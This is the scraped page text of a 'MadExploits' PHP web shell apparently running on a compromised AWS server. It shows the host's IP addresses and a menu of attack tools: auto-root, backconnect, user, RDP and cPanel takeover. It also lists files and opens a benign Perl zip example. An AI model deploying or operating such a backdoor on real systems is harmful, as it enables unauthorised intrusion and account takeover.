Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.217.0.242
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libarchive-zip-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
calcSizes.pl
964
B
-rw-r--r--
copy.pl
468
B
-rw-r--r--
extract.pl
896
B
-rw-r--r--
mailZip.pl
1.58
KB
-rw-r--r--
mfh.pl
656
B
-rw-r--r--
readScalar.pl
750
B
-rw-r--r--
selfex.pl
1.53
KB
-rw-r--r--
unzipAll.pl
561
B
-rw-r--r--
updateTree.pl
838
B
-rw-r--r--
updateZip.pl
908
B
-rw-r--r--
writeScalar.pl
614
B
-rw-r--r--
writeScalar2.pl
613
B
-rw-r--r--
zip.pl
666
B
-rw-r--r--
zipGrep.pl
1.42
KB
-rw-r--r--
zipcheck.pl
1010
B
-rw-r--r--
zipinfo.pl
4.43
KB
-rw-r--r--
ziprecent.pl
7.53
KB
-rw-r--r--
ziptest.pl
1.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : updateTree.pl
#!/usr/bin/perl # Shows how to update a Zip in place using a temp file. # # usage: # perl [-m] examples/updateTree.pl zipfile.zip dirname # # -m means to mirror # # $Id: updateTree.pl,v 1.2 2003/11/27 17:03:51 ned Exp $ # use Archive::Zip qw(:ERROR_CODES); my $mirror = 0; if ($ARGV[0] eq '-m') { shift; $mirror = 1; } my $zipName = shift || die 'must provide a zip name'; my $dirName = shift || die 'must provide a directory name'; # Read the zip my $zip = Archive::Zip->new(); if (-f $zipName) { die "can't read $zipName\n" unless $zip->read($zipName) == AZ_OK; # Update the zip $zip->updateTree($dirName, undef, undef, $mirror); # Now the zip is updated. Write it back via a temp file. exit($zip->overwrite()); } else # new zip { $zip->addTree($dirName); exit($zip->writeToFileNamed($zipName)); }
Close